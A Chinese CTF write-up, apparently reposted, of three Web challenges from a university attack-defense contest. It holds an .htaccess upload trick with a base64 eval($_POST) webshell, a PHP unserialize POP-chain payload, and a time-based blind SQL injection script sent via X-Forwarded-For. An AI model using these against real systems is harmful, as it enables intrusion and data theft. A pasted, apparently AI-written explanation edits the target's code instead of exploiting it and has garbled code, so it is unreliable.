Web
1、Web | upload_2_shell?
參考:SUCTF的一些題解 - SecPulse.COM | 安全脈搏
BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客
?但這道題使用的是.htaccess解析
.htaccess:
這段文本似乎涉及一個安全問題,即上傳惡意文件并利用服務器配置的漏洞來執(zhí)行遠程代碼(RCE)。這里的.htaccess文件被用來重寫圖片文件的解析方式,使其能夠被PHP解析,并自動執(zhí)行base64編碼的PHP代碼。
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg
?(小編能力有限當時就只能做到這一步了,比賽期間flag沒能給大家打出來真的很抱歉,小北我會繼續(xù)努力的?。?/h5>
wenda.jpg:
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
然后上傳然后rce:
flag{b0909bf1-93ce-4a34-9db8-108d387e0802}
2、Web | unse
源碼:
<?php
include("./test.php");
if(isset($_GET['fun'])){
if(justafun($_GET['fun'])){
include($_GET['fun']);
}
}else{
unserialize($_GET['yourcode']);
}
highlight_file(__FILE__);
?>
先偽協(xié)議讀取test.php 然后得到反序列化源碼:
這段PHP代碼似乎存在一些安全問題,因為它允許通過GET參數(shù)直接包含和執(zhí)行文件,這可能會導致遠程代碼執(zhí)行(RCE)的安全漏洞。
這段代碼的工作方式如下:
- 如果
fun
參數(shù)在GET請求中設置,它會檢查justafun()
函數(shù)是否返回真。如果返回真,那么就會包含并執(zhí)行相應的文件。 - 如果沒有設置
fun
參數(shù),那么它會嘗試反序列化yourcode
參數(shù)。 - 最后,它會對當前文件進行語法高亮處理。
其中,justafun()
函數(shù)可能是一個安全檢查,用于確保只包含和執(zhí)行預期的文件。然而,通過直接使用$_GET['fun']
作為參數(shù),這可能被惡意用戶利用,導致包含和執(zhí)行任意文件。
這是一個可能的風險,因為PHP的include()
函數(shù)會執(zhí)行所包含的代碼。這意味著如果一個惡意用戶能夠通過fun
參數(shù)包含并執(zhí)行一個包含惡意代碼的文件,那么他們可能會執(zhí)行任意代碼。
為了防止這種情況,你應該避免直接使用用戶提供的輸入來包含和執(zhí)行文件。你可以考慮使用白名單機制來限制可以包含的文件,或者在包含文件之前對文件名進行某種形式的驗證或過濾。例如,你可以檢查文件名是否僅包含預期的字符,或者使用函數(shù)如str_replace()
來移除可能有害的字符或路徑分隔符。
另外,反序列化操作也可能存在安全風險。反序列化是將序列化的數(shù)據轉回為對象的過程。如果反序列化的數(shù)據來自不可信的來源,那么它可能包含惡意代碼,導致RCE漏洞。因此,除非你完全信任反序列化的數(shù)據來源,否則應該避免反序列化。
總的來說,這段代碼需要一些安全修復才能安全地使用。
<?php
$test = "Hello world";
include "flag.php";
function justafun($filename){
$result = preg_match("/flag|zlib|string/i", $filename);
if($result){
return FALSE;
}
return TRUE;
}
class afun {
private $a;
function __wakeup(){
$temp = $this->a . 'ctf';
}
}
class bfun {
private $items = array();
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife;
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __get($key) {
global $flag;
$tmp = $this->params[$key];
var_dump($$tmp);
}
}
a中的$this->a觸發(fā)bgood中的__toString方法,將$this->a賦值為new bfun()。
bdun中的$items[‘dd’]觸發(fā)cfun中的__get函數(shù),給$items[‘dd’]賦值為new cfun()。
最后讓cdun中的$params[‘knife’]=”flag”?
在上述提供的PHP代碼中,我們正在嘗試通過多個類的相互作用來獲取一個名為flag
的全局變量的值。你已經為這些類定義了幾個魔術方法,如__wakeup()
,?__toString()
, 和__get()
,并計劃通過特定的方式來觸發(fā)這些方法。
讓我們詳細分析你的計劃:
- 在
afun
類的__wakeup()
方法中,你試圖將私有屬性$a
與字符串'ctf'
連接。但是,由于$a
是私有的,你不能直接從類的外部訪問它。你需要一個方法來間接地修改它的值。 - 你希望
$this->a
在bfun
類的__toString()
方法中觸發(fā),并計劃將$this->a
設置為new bfun()
的實例。但是,你需要在某個地方初始化這個afun
類的實例,并確保其__wakeup()
方法被調用。 - 你還希望
bfun
類中的$items['dd']
觸發(fā)cfun
類中的__get()
方法。為此,你需要將$items['dd']
設置為new cfun()
的實例。 - 最后,你計劃讓
cfun
類中的$params['knife']
等于字符串"flag"
,這樣當你嘗試訪問它時,它會輸出全局變量$flag
的值。
基于上述分析,以下是如何實現(xiàn)你的計劃的代碼:
php復制代碼
<?php |
|
$test = "Hello world"; |
|
include "flag.php"; |
|
function justafun($filename){ |
|
$result = preg_match("/flag|zlib|string/i", $filename); |
|
if($result){ |
|
return FALSE; |
|
} |
|
return TRUE; |
|
} |
|
class afun { |
|
private $a; |
|
function __wakeup(){ |
|
$this->a = new bfun(); |
|
} |
|
} |
|
class bfun { |
|
private $items = array(); |
|
public function __construct() { |
|
$this->items['dd'] = new cfun(); |
|
} |
|
public function __toString() { |
|
$item = $this->items; |
|
$str = $item['dd']->knife; // This will trigger the __get() method in the cfun class |
|
return 'what the good?'; |
|
} |
|
} |
|
class cfun { |
|
private $params = array(); |
|
public function __construct() { |
|
$this->params['knife'] = 'flag'; |
|
} |
|
public function __get($key) { |
|
global $flag; |
|
echo $flag; // Directly output the flag instead of var_dump( |
|
$$ |
|
tmp), which may not give the desired output |
|
} |
|
} |
|
// Initialize and serialize the afun class instance to trigger the __wakeup() method |
|
$obj = new afun(); |
|
$serialized_obj = serialize($obj); |
|
unserialize($serialized_obj); // This will output the flag value |
上述代碼中,我們對類進行了一些修改并添加了構造函數(shù)來確保所需的實例化和屬性賦值。我們還修改了__get()
方法中的代碼來直接輸出標志值。
<?php
$test = "Hello world";
include "flag.php";
function justafun($filename){
$result = preg_match("/flag|zlib|string/i", $filename);
if($result){
return FALSE;
}
return TRUE;
}
class afun {
private $a;
function __wakeup(){
$temp = $this->a . 'ctf';
}
}
class bfun {
private $items = array();
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife;
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __get($key) {
global $flag;
$tmp = $this->params[$key];
var_dump($$tmp);
}
}
這里注意私有變量需要內部構造函數(shù)來進行觸發(fā)其他魔術方法:
這里這種框框換成%00 或者url編碼也行?
得到payload:
?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}
得到flag:
flag{9972d10d-566a-42fd-8f6b-d770c1853ea5}
有點類似這道題:
https://www.cnblogs.com/zzjdbk/p/13617530.html
3、Web | 盲人摸象
沒做出來 感覺是XFF盲注 INSERT INTO 注入? 然后原題...
Bugku writeup3 - Junay的博客
Bugku-INSERT INTO 注入 - 簡書 (jianshu.com)
給個腳本:文章來源:http://www.zghlxwxcb.cn/news/detail-751577.html
import requests
import sys
# 基于時間的盲注,過濾了逗號 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):
print('正在猜測:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
flag
flag{cdbf14c9551d5be5612f7bb5d2867853}
雜項簽到題可以參考小編的這篇博客———Misc | i have the flag:
“古劍山”第一屆全國大學生網絡攻防大賽初賽————(簽到題)Misc | i have the flag-CSDN博客文章來源地址http://www.zghlxwxcb.cn/news/detail-751577.html
到了這里,關于“古劍山”第一屆全國大學生網絡攻防大賽初賽(Web部分復盤)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!